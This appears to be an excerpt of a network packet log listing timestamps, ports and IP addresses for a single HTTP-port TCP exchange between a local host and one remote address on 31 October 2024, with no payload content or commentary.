Oct 31, 2024 03:04:20.920716047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.920772076 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.920803070 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.920831919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.920861959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.920907021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.920948029 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.920969009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.920979023 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921030045 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921149969 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921160936 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921173096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921201944 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921221018 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921228886 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921240091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921274900 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921302080 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921700954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921789885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921796083 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921849966 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921869040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921880960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921890974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921904087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921916008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.921917915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921951056 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.921972990 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.922472954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.922483921 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.922503948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.922525883 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.922539949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.922552109 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.922564983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.922580004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.922600031 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.922646999 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.956913948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957004070 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.957072973 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957084894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957094908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957112074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957129955 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.957165956 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.957295895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957308054 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957323074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957379103 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.957379103 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.957564116 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957575083 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957586050 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957626104 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.957652092 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.957830906 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957842112 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957855940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:20.957882881 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:20.957906008 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.002980947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.002994061 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.003041983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.003055096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.003067017 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.003079891 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.003084898 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.003110886 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.003149986 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.036740065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.036752939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.036763906 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.036828041 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.036887884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.039542913 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039556026 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039572954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039585114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039602041 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039614916 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.039654970 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.039654970 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.039776087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039796114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039813042 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039839983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.039839983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.039854050 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039865017 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.039879084 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.039904118 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.040369987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.040411949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.040422916 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.040436983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.040466070 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.040477991 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.040482044 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.040482044 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.040527105 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.040544033 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.040957928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041002989 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041013956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041017056 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.041049004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.041074991 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041085958 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041090012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.041096926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041110039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041166067 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.041199923 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.041810036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041852951 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041865110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.041893005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.041893005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.041918039 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.075681925 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.075695038 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.075706005 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.075777054 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.075820923 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.075839043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.075849056 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.075886011 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.075937986 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.075949907 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.075985909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.075989008 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.075998068 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.076030970 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.076060057 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.076387882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.076400042 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.076410055 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.076448917 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.076462984 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.076658010 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.076669931 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.076679945 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.076720953 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.076752901 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.121869087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.121911049 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.121923923 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.121934891 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.121956110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.121956110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.122030973 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.122064114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.122164965 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.122369051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.122441053 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.155486107 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.155498028 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.155509949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.155548096 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.155572891 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.155622005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.157998085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158051968 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158063889 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158068895 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158076048 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158114910 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158114910 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158241987 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158319950 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158333063 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158392906 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158415079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158438921 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158449888 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158492088 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158492088 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158492088 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158673048 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158684969 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158695936 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.158795118 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158795118 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.158998013 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159040928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159054041 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159096003 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159096003 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159096003 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159099102 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159168005 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159373045 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159426928 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159435034 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159439087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159451008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159481049 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159488916 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159501076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.159511089 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159511089 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159557104 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.159557104 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.160116911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.160156965 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.160173893 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.160175085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.160186052 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.160198927 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.160235882 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.160235882 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.160235882 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.194247961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194261074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194272041 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194314003 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.194339037 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.194439888 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194452047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194463015 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194479942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194485903 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.194492102 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194523096 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.194535017 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.194892883 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.194946051 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.194947004 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.195048094 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.195064068 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.195075035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.195086002 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.195126057 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.195126057 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.195297003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.195342064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.195350885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.195353031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.195487022 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.195487022 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.240526915 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.240597010 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.240607977 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.240622044 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.240655899 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.240667105 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.240742922 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.240753889 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.240763903 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.240828037 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.240839958 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.274053097 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.274106026 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.274117947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.274164915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.274164915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.274164915 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.276608944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.276648998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.276660919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.276670933 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.276690006 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.276690006 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.276725054 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.276859999 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.276870012 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.276915073 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.276983023 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277045012 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.277076960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277116060 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277127028 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.277173996 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.277180910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277196884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277209044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277245998 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.277245998 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.277261972 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.277600050 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277622938 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277635098 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277646065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277657986 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.277671099 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.277671099 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.277709961 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.278163910 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278176069 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278186083 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278218031 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.278237104 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.278532982 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278543949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278553963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278563976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278574944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278587103 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278599024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.278616905 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.278616905 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.278635025 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.278682947 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.279324055 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.279364109 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.279376030 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.279376030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.279443979 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313024998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313039064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313050985 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313061953 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313079119 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313090086 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313101053 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313227892 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313350916 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313369036 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313458920 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313458920 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313474894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313493013 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313503027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313538074 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313538074 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313565016 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313724041 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313771963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313780069 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313782930 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313792944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.313827991 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.313827991 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:21.359111071 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.359172106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:21.359183073 CET	80	63827	185.215.113.16	192.168.2.4
